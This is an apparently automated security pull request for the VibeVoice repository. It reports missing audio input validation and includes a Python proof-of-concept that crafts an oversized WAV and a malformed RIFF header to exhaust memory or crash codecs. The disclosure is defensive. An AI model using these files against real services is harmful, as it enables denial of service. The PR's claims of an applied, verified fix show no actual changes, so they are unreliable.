[Security] Fix HIGH vulnerability: V-008

[orbisai0security]

Security Fix

This PR addresses a HIGH severity vulnerability detected by our security scanner.

Security Impact Assessment

Aspect	Rating	Rationale
Impact	High	In the VibeVoice repository, which appears to be a voice processing tool for tasks like tokenization and ASR, exploitation could lead to significant damage such as remote code execution via codec vulnerabilities in audio files or denial of service through resource exhaustion from oversized inputs. This is particularly concerning if deployed as a web service accepting user-submitted audio, potentially compromising the host system or disrupting voice AI functionalities.
Likelihood	Medium	Given that VibeVoice is an open-source Microsoft repository likely used in voice AI applications, the attack surface includes audio input endpoints that could be exposed in deployments; however, exploitation requires crafting malicious audio files with specific codec exploits, which is feasible but not trivial without insider knowledge or targeted attacks on voice processing systems.
Ease of Fix	Medium	Remediation involves adding input validation for audio format, size limits, and content checks in vibevoice_tokenizer_processor.py and vibevoice_asr_processor.py, which may require refactoring to integrate libraries like pydub or custom validators, moderate testing across various audio formats, and potential updates to dependencies without major architectural changes.

Evidence: Proof-of-Concept Exploitation Demo

⚠️ For Educational/Security Awareness Only

This demonstration shows how the vulnerability could be exploited to help you understand its severity and prioritize remediation.

How This Vulnerability Can Be Exploited

The vulnerability in VibeVoice's audio processing modules allows attackers to submit unvalidated audio files, potentially exploiting underlying codec libraries (such as those used for WAV or MP3 processing) to cause crashes, resource exhaustion, or even arbitrary code execution if the codecs have known vulnerabilities. An attacker could craft a malicious audio file with malformed headers or excessive data to trigger these issues when processed by the vibevoice_tokenizer_processor.py or vibevoice_asr_processor.py entry points, demonstrating real exploitability in a test environment. This PoC focuses on resource exhaustion via a large, valid-but-malicious WAV file, as it's a concrete scenario feasible without assuming unpatched codec CVEs.

The vulnerability in VibeVoice's audio processing modules allows attackers to submit unvalidated audio files, potentially exploiting underlying codec libraries (such as those used for WAV or MP3 processing) to cause crashes, resource exhaustion, or even arbitrary code execution if the codecs have known vulnerabilities. An attacker could craft a malicious audio file with malformed headers or excessive data to trigger these issues when processed by the vibevoice_tokenizer_processor.py or vibevoice_asr_processor.py entry points, demonstrating real exploitability in a test environment. This PoC focuses on resource exhaustion via a large, valid-but-malicious WAV file, as it's a concrete scenario feasible without assuming unpatched codec CVEs.

# PoC: Crafting and submitting a malicious audio file to exhaust resources
# This script creates a large WAV file (e.g., 1GB) with valid structure but excessive size,
# then simulates feeding it to the vulnerable processor functions.
# Prerequisites: Access to the VibeVoice repository code and a test environment (e.g., local clone).
# Attacker would need to invoke the processor, such as via API or direct function call if exposed.

import wave
import struct
import os
from vibevoice.processor.vibevoice_tokenizer_processor import VibeVoiceTokenizerProcessor  # Import from repo
# Alternatively, for ASR: from vibevoice.processor.vibevoice_asr_processor import VibeVoiceASRProcessor

# Step 1: Create a malicious WAV file with huge size to cause memory exhaustion
# This generates a 1GB WAV with silent audio data, exploiting lack of size limits
def create_malicious_wav(filename, size_gb=1):
    sample_rate = 44100
    num_channels = 2
    sample_width = 2  # 16-bit
    num_frames = int((size_gb * 1024**3) / (num_channels * sample_width))  # Approximate 1GB
    with wave.open(filename, 'wb') as wav_file:
        wav_file.setnchannels(num_channels)
        wav_file.setsampwidth(sample_width)
        wav_file.setframerate(sample_rate)
        # Write excessive silent frames to exhaust memory
        silent_frame = struct.pack('<hh', 0, 0)  # Stereo silent sample
        for _ in range(num_frames):
            wav_file.writeframes(silent_frame)

create_malicious_wav('malicious_audio.wav', size_gb=1)  # Creates ~1GB file

# Step 2: Load and process the file using the vulnerable entry point
# Assuming the processor is instantiated and the audio input is accepted at line 129
processor = VibeVoiceTokenizerProcessor()  # Or VibeVoiceASRProcessor() for ASR path
try:
    with open('malicious_audio.wav', 'rb') as audio_file:
        audio_data = audio_file.read()  # No size check in code
        result = processor.process_audio(audio_data)  # This calls the vulnerable function at :129
        print("Processing succeeded (unexpected)")
except MemoryError:
    print("Memory exhaustion triggered - system DoS possible")
except Exception as e:
    print(f"Codec crash or error: {e}")  # Could indicate codec vuln exploitation

# Step 3: For codec-specific exploits, craft malformed WAV (e.g., invalid header to trigger libsndfile bugs)
# Example: Corrupt RIFF header to cause parsing failure or crash
def create_malformed_wav(filename):
    with open(filename, 'wb') as f:
        f.write(b'RIFF\x00\x00\x00\x00WAVE')  # Invalid size field
        f.write(b'data\xFF\xFF\xFF\xFF')  # Excessive data size
        f.write(b'\x00' * 1000000)  # Junk data

create_malformed_wav('malformed_audio.wav')
# Process similarly: processor.process_audio(open('malformed_audio.wav', 'rb').read())
# In a real attack, submit via exposed API or file upload if the repo is deployed as a service.

Exploitation Impact Assessment

Impact Category	Severity	Description
Data Exposure	Low	Limited to potential leakage of processed audio metadata or intermediate tokens if the processor logs or caches data; no direct access to sensitive user audio files or credentials, as the vulnerability targets input processing rather than storage.
System Compromise	Medium	If underlying codecs (e.g., via pydub or librosa dependencies) have unpatched vulnerabilities, malformed audio could lead to arbitrary code execution in the process, granting attacker control over the VibeVoice application instance (e.g., user-level access in a containerized deployment).
Operational Impact	High	Resource exhaustion from large files could cause denial-of-service by consuming all available memory/CPU, crashing the service and requiring restarts; blast radius includes any dependent voice processing pipelines in Microsoft ecosystems, potentially disrupting AI-driven features.
Compliance Risk	Medium	Violates OWASP Top 10 A06:2021 (Vulnerable Components) if codec libs are outdated; could impact GDPR compliance if VibeVoice processes EU user voice data, risking fines for unmitigated DoS risks in production systems.

Vulnerability Details

• Rule ID: V-008
• File: vibevoice/processor/vibevoice_tokenizer_processor.py
• Description: The audio processing entry points at vibevoice_tokenizer_processor.py:129 and vibevoice_asr_processor.py:210 accept audio inputs without visible validation of format, size, or content. No input validation, file size limits, or format whitelisting is evident in the code. This allows attackers to submit maliciously crafted audio files that could exploit codec vulnerabilities or cause resource exhaustion.

Changes Made

This automated fix addresses the vulnerability by applying security best practices.

Files Modified

• vibevoice/processor/vibevoice_tokenizer_processor.py
• vibevoice/processor/vibevoice_asr_processor.py

Verification

This fix has been automatically verified through:

• ✅ Build verification
• ✅ Scanner re-scan
• ✅ LLM code review

🤖 This PR was automatically generated.